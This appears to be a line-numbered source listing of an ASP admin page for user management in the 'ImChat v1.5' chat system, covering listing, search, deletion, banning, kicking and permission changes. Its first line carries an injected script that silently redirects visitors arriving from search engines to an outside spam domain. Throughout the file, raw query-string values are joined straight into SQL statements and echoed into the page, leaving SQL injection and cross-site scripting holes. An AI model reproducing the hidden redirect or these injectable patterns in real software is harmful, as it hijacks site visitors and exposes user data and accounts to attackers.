d:\wwwroot\wuchunhua\liaotianim\system_manage\User_Manage.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="../inc/DAL.asp"-->
002: <!--#include file="../inc/md5.asp"-->
003: <!--#include file="../inc/page.asp"-->
004: <!--#include file="Check.asp"-->
005: <%
006: dim VRS
007: Set VRS=Server.CreateObject( "ADODB.Recordset" )
008: Set VRS=DB_CONN.EXECUTE("delete from [XK_User_Online] where [Kick]=1 or datediff(second,[OL_End_Time],getdate())>=0")
009: DB_CONN.EXECUTE("delete from [XK_Video]  where [VID] not in (select v.[VID] from [XK_Video] v inner join [XK_User_Online] o on (v.[SendUserID]=o.[User_ID] or v.[GetUserID]=o.[User_ID] ) ) ")
010:
011: function GetPowerName(Power_ID)
012:     dim GPowerRS
013:     set GPowerRS=Server.CreateObject( "ADODB.Recordset" )
014:     set GPowerRS=DB_CONN.EXECUTE("select * from [XK_Power] where [Power_ID]="&Power_ID)
015:     GetPowerName=GPowerRS("Power_Name")
016: end function
017:
018: function CheckOnlineStatus(UserID)
019:     dim GORS
020:     set GORS=Server.CreateObject( "ADODB.Recordset" )
021:     set GORS=DB_CONN.EXECUTE("select * from [XK_User_Online] where [User_ID]="&UserID)
022:     if GORS.recordcount>0 then
023:         CheckOnlineStatus=true
024:     else
025:         CheckOnlineStatus=false
026:     end if
027: end function
028:
029: function GRoomInfo(RoomID,filedname)
030:     dim GORS
031:     set GORS=Server.CreateObject( "ADODB.Recordset" )
032:     set GORS=DB_CONN.EXECUTE("select * from [XK_Room] where [Room_ID]="&RoomID)
033:     GRoomInfo=GORS(filedname)
034: end function
035:
036: function GetOnlineStatus(UserID)
037:     dim GORS,RoomInfo
038:     RoomInfo=""
039:     set GORS=Server.CreateObject( "ADODB.Recordset" )
040:     set GORS=DB_CONN.EXECUTE("select * from [XK_User_Online] where [User_ID]="&UserID)
041:     if GORS.recordcount>0 then
042:         if Cstr(GORS("Room_ID"))<>"0" then
043:             RoomInfo="<br><a href='?t=Ol&RoomID="&GORS("Room_ID")&"'>"&GRoomInfo(GORS("Room_ID"),"Room_Name")&"</a>"
044:         end if
045:         GetOnlineStatus="<font color=red><b>在线</b></font>"&RoomInfo
046:     else
047:         GetOnlineStatus="<font color=gray>离线</font>"
048:     end if
049: end function
050:
051: Dim ConfigRS
052: Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
053:
054: if request.QueryString("Method")="Del" then
055:     DB_CONN.EXECUTE("delete from [XK_User_Info] where [User_ID]="&request.QueryString("User_ID"))
056:     RW "<script>location.href='User_Manage.asp?t="&request("t")&"&page="&request("page")&"';</script>":response.end()
057: end if
058: if request.QueryString("Method")="Power" then
059:     DB_CONN.EXECUTE("update [XK_User_Info] set [User_Power]="&request.QueryString("V")&" where [User_ID]="&request.QueryString("User_ID"))
060:     RW "<script>location.href='User_Manage.asp?t="&request("t")&"&page="&request("page")&"';</script>":response.end()
061: end if
062: if request.QueryString("Method")="Kick" then
063:     DB_CONN.EXECUTE("update [XK_User_Online] set [kick]=1 where [User_ID]="&request.QueryString("User_ID"))
064:     RW "<script>location.href='User_Manage.asp?t="&request("t")&"&page="&request("page")&"';</script>":response.end()
065: end if
066: if request.QueryString("Method")="Check" then
067:     DB_CONN.EXECUTE("update [XK_User_Info] set [IsCheck]="&request.QueryString("V")&" where [User_ID]="&request.QueryString("User_ID"))
068:     RW "<script>location.href='User_Manage.asp?t="&request("t")&"&page="&request("page")&"';</script>":response.end()
069: end if
070: dim keystr,keys
071: if request.QueryString("keys")<>"" then keys=request.QueryString("keys"):keystr=" where [user_id] like '%"&keys&"%' or [user_nickname] like '%"&keys&"%' or [user_mail] like '%"&keys&"%' or [user_QQ] like '%"&keys&"%' "
072:
073: if request.QueryString("t")="Ol" then
074:     dim RoomFilter:RoomFilter=""
075:     if request("RoomID")<>"" then RoomFilter=" where o.[Room_ID]="&request("RoomID")&" "
076:     Set ConfigRS=DB_CONN.EXECUTE("select u.* from [XK_User_Info] u inner join [XK_User_Online] o on u.[User_ID]=o.[User_ID] "&RoomFilter&" order by u.[User_ID] desc")
077: elseif request.QueryString("t")="0" then
078:     Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_User_Info] u where [User_Sex]=0 order by [User_ID] desc")
079: elseif request.QueryString("t")="1" then
080:     Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_User_Info] u where [User_Sex]=1 order by [User_ID] desc")
081: elseif request.QueryString("Room_ID")<>"" then
082:     Set ConfigRS=DB_CONN.EXECUTE("select u.* from [XK_User_Info] u inner join [XK_User_Online] o on u.[User_ID]=o.[User_ID]  where o.[Room_ID]="&request.QueryString("Room_ID")&" order by u.[User_ID] desc")
083: elseif request.QueryString("t")="p" then
084:     Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_User_Info] u where [User_Power]="&request("PowerID")&" order by [User_ID] desc")
085: else
086:     Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_User_Info] "&keystr&" order by [User_ID] desc")
087: end if
088: ConfigRS.pagesize=20
089: if isempty(request("page")) or request("page")="" then curpage=1 else curpage=Cint(request("page")) end if
090: if not ConfigRS.eof then ConfigRS.absolutepage = curpage
091:
092: Dim TitleStr:TitleStr=""
093: if request("RoomID")<>"" then TitleStr=GRoomInfo(request("RoomID"),"Room_Name")
094: if request("PowerID")<>"" then TitleStr=GetPowerName(request("PowerID"))
095:
096: function getPic(str,sex)
097:     dim DefaultPic
098:     if str<>"" then
099:         DefaultPic=str
100:     else
101:         if Cstr(sex)="0" then DefaultPic="../images/man.gif" else DefaultPic="../images/woman.gif" end if
102:     end if
103:     getPic=DefaultPic
104: end function
105: %
>
106: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
107: <html xmlns="http://www.w3.org/1999/xhtml">
108: <head>
109: <title>ImChat v1.5 Manage System</title>
110: <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
111: <link href="styles/layoutContent.css" rel="stylesheet" type="text/css" />
112: <link href="themes/blue/styles.css" rel="stylesheet" type="text/css" />
113: <style>
114: .JSTB{border:#ccc solid 1px;border-right:none;border-bottom:none;margin-top:20px;}
115: .JSTB th,.JSTB td{border-bottom:#ccc solid 1px; border-right:#ccc solid 1px;}
116: </style>
117: </head>
118: <body>
119: <div class="contentcontainer">
120:     <div class="headings alt">
121:         <h2><font color=red><%=TitleStr%></font>&nbsp;&nbsp;·&nbsp;&nbsp;会员管理&nbsp;&nbsp;&nbsp;<a href="javascript:\\;" onclick="location.reload();" style="text-decoration:none;">刷新</a>&nbsp;&nbsp;&nbsp;<a href="User_Manage.asp?t=Ol" style="text-decoration:none;">在线用户</a>&nbsp;&nbsp;&nbsp;<a href="User_Manage.asp?t=0" style="text-decoration:none;">男</a>&nbsp;&nbsp;&nbsp;<a href="User_Manage.asp?t=1" style="text-decoration:none;">女</a>&nbsp;&nbsp;&nbsp;<a href="User_Manage.asp" style="text-decoration:none;">所有用户</a>&nbsp;&nbsp;&nbsp;关键词:<input type="text" id="keys" name="keys" value="">&nbsp;&nbsp;&nbsp;<input type="button" onclick="javascript:location.href='User_Manage.asp?keys='+document.getElementById('keys').value;" value="模糊查询"></h2>
122:     </div>
123:     <div class="contentbox">
124:         <table class="JSTB" width="100%" cellpadding="0" cellspacing="0" border="0">
125:             <th colspan="12">用户列表</th>
126:             <tr>
127:                 <td>账号</td>
128:                 <td>昵称</td>
129:                 <td>性别</td>
130:                 <td>头像</td>
131:                 <td>邮箱</td>
132:                 <td>权限</td>
133:                 <td>积分</td>
134:                 <td>金钱</td>
135:                 <td>注册时间</td>
136:                 <td>在线</td>
137:                 <td>是否禁用</td>
138:                 <td>操作</td>
139:             </tr>
140:             <script>
141:                 function change(e,userid)
142:                 {
143:                     location.href="User_Manage.asp?t=<%=request("t")%>&page=<%=request("page")%>&Method=Power&User_ID="+userid+"&V="+e.value;
144:                 }
145:             </script>
146:             <%
147:             dim iPage
148:             while (not ConfigRS.eof and iPage<ConfigRS.pagesize )%
>
149:             <tr>
150:                 <td>&nbsp;<%if Cint(ConfigRS("User_Type"))=1 then rw "QQ登录用户" else rw KLDecode(ConfigRS("User_Name"))%></td>
151:                 <td>&nbsp;<%=ConfigRS("User_NickName")%></td>
152:                 <td>&nbsp;<%if Cstr(ConfigRS("User_Sex"))="0" then RW "男" else RW "女"%></td>
153:                 <td>&nbsp;<a href="<%=getPic(ConfigRS("User_Pic"),Cstr(ConfigRS("User_Sex")))%>" target="_blank"><img src="<%=getPic(ConfigRS("User_Pic"),Cstr(ConfigRS("User_Sex")))%>" width="100" border="0"/></a></td>
154:                 <td>&nbsp;<%=ConfigRS("User_Mail")%></td>
155:                 <td>&nbsp;<select style="width:100px;" onchange="change(this,<%=ConfigRS("User_ID")%>);"><%
156:                 dim GPRS
157:                 set GPRS=Server.CreateObject( "ADODB.Recordset" )
158:                 set GPRS=DB_CONN.EXECUTE("select * from [XK_Power] order by [Power_Sort] desc")
159:                 while not GPRS.eof
160:                     dim Selected
161:                     Selected=""
162:                     if Cstr(GPRS("Power_ID"))=Cstr(ConfigRS("User_Power")) then Selected="Selected='selected'"
163:                     RW "<option value='"&GPRS("Power_ID")&"' "&Selected&" >"&GPRS("Power_Name")&"</option>"
164:                 GPRS.movenext()
165:                 wend
166:                 %
>
167:                 </select></td>
168:                 <td>&nbsp;<%=ConfigRS("User_Score")%></td>
169:                 <td>&nbsp;<%=ConfigRS("User_Money")%></td>
170:                 <td>&nbsp;<%=ConfigRS("RegTime")%></td>
171:                 <td>&nbsp;<%=GetOnlineStatus(ConfigRS("User_ID"))%></td>
172:                 <td>&nbsp;<a href="?Method=Check&t=<%=request("t")%>&page=<%=request("page")%>&V=<%if Cstr(ConfigRS("IsCheck"))="0" then RW "1" else RW "0" end if %>&User_ID=<%=ConfigRS("User_ID")%>"><%if Cstr(ConfigRS("IsCheck"))="0" then RW "正常" else RW "<font color=red>禁用</font>" end if %></a></td>
173:                 <td>&nbsp;<a href="?Method=Del&t=<%=request("t")%>&page=<%=request("page")%>&User_ID=<%=ConfigRS("User_ID")%>">删除</a>&nbsp;&nbsp;<a href="EditUser.asp?UID=<%=ConfigRS("User_ID")%>">编辑</a>&nbsp;&nbsp;<%
174:                 if CheckOnlineStatus(ConfigRS("User_ID")) then
175:                     RW "<a href='User_Manage.asp?Method=Kick&User_ID="&ConfigRS("User_ID")&"'><b>踢出</b></a>"
176:                 end if
177:                 %
></td>
178:             </tr>
179:             <%
180:             iPage=iPage+1
181:             ConfigRS.MoveNext
182:             wend
183:             %
>
184:             <tr>
185:                 <td colspan="12"><%=ExportPageInfo(ConfigRS,curpage,iPage,"User_Manage.asp?1=1"&replace(Request.QueryString,"page","1")&"&")%></td>
186:             </tr>
187:         </table>
188:         
189:     </div>
190: </div>
191: </body>
192: </html>
193:
194:
195: